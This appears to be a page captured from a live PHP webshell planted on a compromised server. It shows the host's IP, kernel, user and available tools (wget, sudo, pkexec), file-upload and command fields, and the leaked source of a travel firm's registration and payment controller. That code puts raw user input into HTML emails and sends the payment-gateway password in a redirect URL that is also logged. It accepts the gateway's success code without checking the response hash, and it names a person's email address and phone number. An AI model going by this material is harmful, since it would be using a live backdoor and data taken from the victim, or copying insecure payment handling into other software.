403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/controllers/AdtoiController.php
<?php

/*
 * Catabatic Technology Pvt. Ltd.
 * File Name :RegisterController.php
 * File Description :Register controller managed all registration process
 * Created By : Pooja Choudhary
 * Created Date: 01-June-2016
 */

class AdtoiController extends Catabatic_ValidateCustomer {

    public function init() {
        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
        $this->smtpUserName = $aConfig['smtpUserName'];
        $this->smtpPassword = $aConfig['smtpPassword'];
        $this->smtpPort = $aConfig['smtpPort'];
        $this->smtpHost = $aConfig['smtpHost'];
        $this->fromEmail = $aConfig['fromEmail'];
        $this->fromName = $aConfig['fromName'];
        $this->siteUrl = $aConfig['bootstrap']['siteUrl'];
        $this->SMSURL = Catabatic_Helper::getSMSURL();
        $this->SMSMETHOD = Catabatic_Helper::getSMSMETHOD();
        $this->SMSAPIKEY = Catabatic_Helper::getSMSAPIKEY();
        $this->SMSSENDER = Catabatic_Helper::getSMSSENDER();
        $this->SMSFORMAT = Catabatic_Helper::getSMSFORMAT();
        $this->SENDREGISTERSMSCONFIG = Catabatic_Helper::getSENDREGISTERSMSCONFIG();
        $this->_HtmlPurifier = new Zend_Filter_HtmlPurifier();
        $this->_helper->layout->setLayout('layout-signup');
        $this->ATOMPAYMENTURL = Catabatic_Helper::getATOMPAYMENTURL();
        $this->ATOMPASS = Catabatic_Helper::getATOMPASS();
        $this->ATOMLOGIN = Catabatic_Helper::getATOMLOGIN();
        $this->ATOMPRODID = Catabatic_Helper::getATOMPRODID();
        $this->reqHashKey = Catabatic_Helper::getReqHashKey();
        $this->respHashKey = Catabatic_Helper::getRespHashKey();
        $this->paymentMdl = new Payment_Model_Payment();
    }

    public function indexAction() {
        $objLocation = new Travel_Model_TblLocation();
        $countryListArray = $objLocation->getCountryList();
        $this->view->countryListArray = $countryListArray;
        $msg = $this->getRequest()->getParam('msg');
        if(isset($msg)){
            $this->view->msg = $this->getRequest()->getParam('msg');
        }
    }

    public function planTwoAction() {
        $objLocation = new Travel_Model_TblLocation();
        $countryListArray = $objLocation->getCountryList();
        $this->view->countryListArray = $countryListArray;
       
    }

    public function planThreeAction() {
        $objLocation = new Travel_Model_TblLocation();
        $countryListArray = $objLocation->getCountryList();
        $this->view->countryListArray = $countryListArray;
    }

    public function saveSignUpAction() {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        if ($this->getRequest()->isPost()) {
            $ActivitiesType = $this->getRequest()->getParam('ActivitiesType');
            $planName = $this->getRequest()->getParam('planName');
            $Amount = $this->getRequest()->getParam('Amount');
            $ru = Catabatic_Helper::getSiteUrl() . "adtoi/return-adtoi/";
            $agencyName = $this->getRequest()->getParam('agencyName');
            $countryTitle = $this->getRequest()->getParam('selectCountry');
            $selectState = $this->getRequest()->getParam('hiddenStateOrZoneSysName');
            $cityTitle = $this->getRequest()->getParam('selectCity');
            $contactName = $this->getRequest()->getParam('contactName');
            $emailId = $this->getRequest()->getParam('emailId');
            $mobileNo = $this->getRequest()->getParam('mobileNo');
            $countrycode = $this->getRequest()->getParam('countrycode');
            $shortDetail = $this->getRequest()->getParam('shortDetail');
            $cityId = $this->getRequest()->getParam('city_id');
            $countryId = $this->getRequest()->getParam('country_id');
            $Designation = $this->getRequest()->getParam('Designation');
            $Remark = $this->getRequest()->getParam('shortDetail');
            $optionsType = $this->getRequest()->getParam('optionsType');
            $datenow = date("d/m/Y h:m:s");
            $modifiedDate = str_replace(" ", "%20", $datenow);
            $txnid = time();
            $AgencySysId = $agencyName;
            $login = trim($this->ATOMLOGIN);
            $pass = trim($this->ATOMPASS);
            $ttype = trim("NBFundTransfer");
            $prodid = trim($this->ATOMPRODID);
            $txnid = trim($txnid);
            $amount = trim($Amount);
            $txncurr = trim("INR");
            $signatureVal = $login . $pass . $ttype . $prodid . $txnid . $amount . $txncurr;
            $signature = hash_hmac("sha512", $signatureVal, $this->reqHashKey, false);
            $this->postFields = "";
            $this->postFields .= "&login=$login";
            $this->postFields .= "&pass=$pass";
            $this->postFields .= "&ttype=$ttype";
            $this->postFields .= "&prodid=$prodid";
            $this->postFields .= "&amt=$amount";
            $this->postFields .= "&txncurr=$txncurr";
            $this->postFields .= "&txnscamt=0";
            $this->postFields .= "&signature=$signature";
            $this->postFields .= "&clientcode=" . urlencode(base64_encode($AgencySysId));
            $this->postFields .= "&txnid=" . $txnid;
            $this->postFields .= "&date=" . $modifiedDate;
            $this->postFields .= "&custacc=123456789";
            $this->postFields .= "&udf1=$contactName";
            $this->postFields .= "&udf2=$emailId";
            $this->postFields .= "&udf3=$countrycode$mobileNo";
            $this->postFields .= "&udf9=$planName";
            $this->postFields .= "&ru=$ru";
            
          
            
            if($ActivitiesType == 0) {
                $ActivitiesTypeName = "Query";
            } else if($ActivitiesType == 2){
                 $ActivitiesTypeName = "Cash";
            } else {
                 $ActivitiesTypeName = "Paid Registration";
            }
            
            $optionsTypeName = 'not selected';
            if(!empty($optionsType)){
                $optionsTypeName = implode(',',$optionsType);
            }
            
           
            $ActivitiesTypeHtml = '';
            if($ActivitiesType == 1 || $ActivitiesType == 2){
                $ActivitiesTypeHtml = '<tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Plan Name: '.$planName.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Amount : '.$Amount.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>';
            }


            $fromEmail = 'gaurav@hellogtx.com';
            $fromName = 'helloGTX';
            $BodyText = '';
            $subject = 'Your registration at helloGTX during ADTOI event';
            $arrEmailStatisticsType = array_keys(unserialize(ARR_EMAIL_STATISTICS_TYPE));
            $arrEmailStatistics = array(
                "TPSysId" => 0,
                "TypeSysId" => 1, // 1 For Email 2 For SMS
                "AgencySysId" => 0,
                "AgentSysId" => 0,
                "Title" => '',
                "Source" => $arrEmailStatisticsType[2], // 6 For Misc
                "Status" => 0,
                "RefSysId" => "",
                "RefSysStatus" => "",
                "CreateDate" => date('Y-m-d H:i:s')
            );
            if ($ActivitiesType == 0) {
                $BodyText .= '<table width="100%" border="0" align="center" cellpadding="15" cellspacing="0">
                                <tr><td ><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr><td valign="top" bgcolor="#FFFFFF"><table width="60%" border="0" align="" cellpadding="0" cellspacing="0">
                                <tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Dear ' . $agencyName . ',</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Thanks for registering with helloGTX. We will get back to you soon.</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Thanks,</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Gaurav Kr Gupta</span></td>
                                 </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">9811192312</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Co-Founder & CEO</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">helloGTX</span></td>
                                </tr>';

            $emailIdArr = array($fromEmail, $emailId);
            $emailData = array('fromEmail' => $fromEmail, 'fromName' => $fromName, 'subject' => $subject, 'to' => $emailIdArr, 'bodyHtml' => $BodyText, 'bodyText' => '');
            
            $checkStatus1 = $this->mailSentByElastice($emailData, $arrEmailStatistics);
            }
            if ($ActivitiesType == 2) {
                $BodyText .= '<table width="100%" border="0" align="center" cellpadding="15" cellspacing="0">
                                <tr><td ><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr><td valign="top" bgcolor="#FFFFFF"><table width="60%" border="0" align="" cellpadding="0" cellspacing="0">
                                <tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Dear ' . $agencyName . ',</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Thanks for registering with helloGTX. We have received your payment as below:</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Plan:  ' . $planName . '</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">INR ' . $Amount . ' </span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Our team will call you soon to take it forward. </span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Thanks,</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Gaurav Kr Gupta</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">9811192312</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Co-Founder & CEO</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">helloGTX</span></td>
                                </tr>';

            $emailIdArr = array($fromEmail, $emailId);
            $emailData = array('fromEmail' => $fromEmail, 'fromName' => $fromName, 'subject' => $subject, 'to' => $emailIdArr, 'bodyHtml' => $BodyText, 'bodyText' => '');
            
            $checkStatus1 = $this->mailSentByElastice($emailData, $arrEmailStatistics);
            }

            
            
           $subject1 = 'Your registration at helloGTX during ADTOI event';
            $allBodyText = '';
            $allBodyText .= '<table width="100%" border="0" align="center" cellpadding="15" cellspacing="0">
                                <tr><td ><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr><td valign="top" bgcolor="#FFFFFF"><table width="60%" border="0" align="" cellpadding="0" cellspacing="0">
                                <tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Dear Admin,</span></td>
                                </tr><tr><td>&nbsp;</td>
                                </tr>
                                <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Agency Name : '.$agencyName.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Contact Person : '.$contactName.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Designation : '.$Designation.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                 <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Email Id : '.$emailId.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                 <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Mobile No. : '.$mobileNo.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                 <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Country : '.$countryTitle.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                 <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">State : '.$selectState.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                 <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">City : '.$cityTitle.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                 <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Type : '.$optionsTypeName.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                 <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Remark : '.$Remark.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                 <tr>
                                    <td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Activity Type : '.$ActivitiesTypeName.'</span></td>
                                </tr>
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                '.$ActivitiesTypeHtml.'
                                <tr>
                                <td>&nbsp;</td>
                                </tr>
                                <tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Thanks,</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Gaurav Kr Gupta</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Co-Founder & CEO</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">helloGTX</span></td>
                                </tr>';
            
            $emailIdArr1 = array($fromEmail);
            $emailData1 = array('fromEmail' => $fromEmail, 'fromName' => $fromName, 'subject' => $subject1, 'to' => $emailIdArr1, 'bodyHtml' => $allBodyText, 'bodyText' => '');
           
            $checkStatus2 = $this->mailSentByElastice($emailData1, $arrEmailStatistics);
           
           
            if ($ActivitiesType == 1) {
                $sendUrl = $this->ATOMPAYMENTURL . "?" . substr($this->postFields, 1) . "\n";
                $this->paymentMdl->writeLog($sendUrl);
                header("Location: " . $sendUrl);
                 exit;
            }else{
              
                $redirectUrl = $this->siteUrl.'adtoi/index/msg/1';
               header("Location: " . $redirectUrl); 
                exit;
            }
           
        }
        
    }

    public function returnAdtoiAction() {
        $returnPerameter = $this->getRequest()->getPost();
        if (!empty($returnPerameter)) {
            $emailId = $returnPerameter['udf2'];
            $fromEmail = 'gaurav@hellogtx.com';
            $Amount = $returnPerameter['amt'];
            $agencyName = $returnPerameter['clientcode'];
            $status = $returnPerameter['f_code'];
            if($status == 'Ok') {
            $planName = $returnPerameter['udf9'];
            $fromName = 'helloGTX';
            $BodyText = '';
            $subject = 'Your registration at helloGTX during ADTOI event';
            $BodyText .= '<table width="100%" border="0" align="center" cellpadding="15" cellspacing="0">
                                <tr><td ><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr><td valign="top" bgcolor="#FFFFFF"><table width="60%" border="0" align="" cellpadding="0" cellspacing="0">
                                <tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Dear ' . $agencyName . ',</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Thanks for registering with helloGTX. We have received your payment as below:</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Plan:  ' . $planName . '</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">INR ' . $Amount . ' </span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Our team will call you soon to take it forward. </span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Thanks,</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Gaurav Kr Gupta</span></td>
                                </tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">9811192312</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">Co-Founder & CEO</span></td>
                                </tr><tr><td colspan="2"><span style="font: 16px Helvetica Neue LT Std;">helloGTX</span></td>
                                </tr>';
            $emailIdArr = array($fromEmail, $emailId);
            $emailData = array('fromEmail' => $fromEmail, 'fromName' => $fromName, 'subject' => $subject, 'to' => $emailIdArr, 'bodyHtml' => $BodyText, 'bodyText' => '');
            $arrEmailStatisticsType = array_keys(unserialize(ARR_EMAIL_STATISTICS_TYPE));
            $arrEmailStatistics = array(
                "TPSysId" => 0,
                "TypeSysId" => 1, // 1 For Email 2 For SMS
                "AgencySysId" => 0,
                "AgentSysId" => 0,
                "Title" => '',
                "Source" => $arrEmailStatisticsType[2], // 6 For Misc
                "Status" => 0,
                "RefSysId" => "",
                "RefSysStatus" => "",
                "CreateDate" => date('Y-m-d H:i:s')
            );

            $checkStatus1 = $this->mailSentByElastice($emailData, $arrEmailStatistics);
            
            $redirectUrl = $this->siteUrl.'adtoi/index/msg/2';
            header("Location: " . $redirectUrl); 
            exit;
        } else {
             $redirectUrl = $this->siteUrl.'adtoi/index/msg/3';
             header("Location: " . $redirectUrl); 
             exit;
        }
       
        } 
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit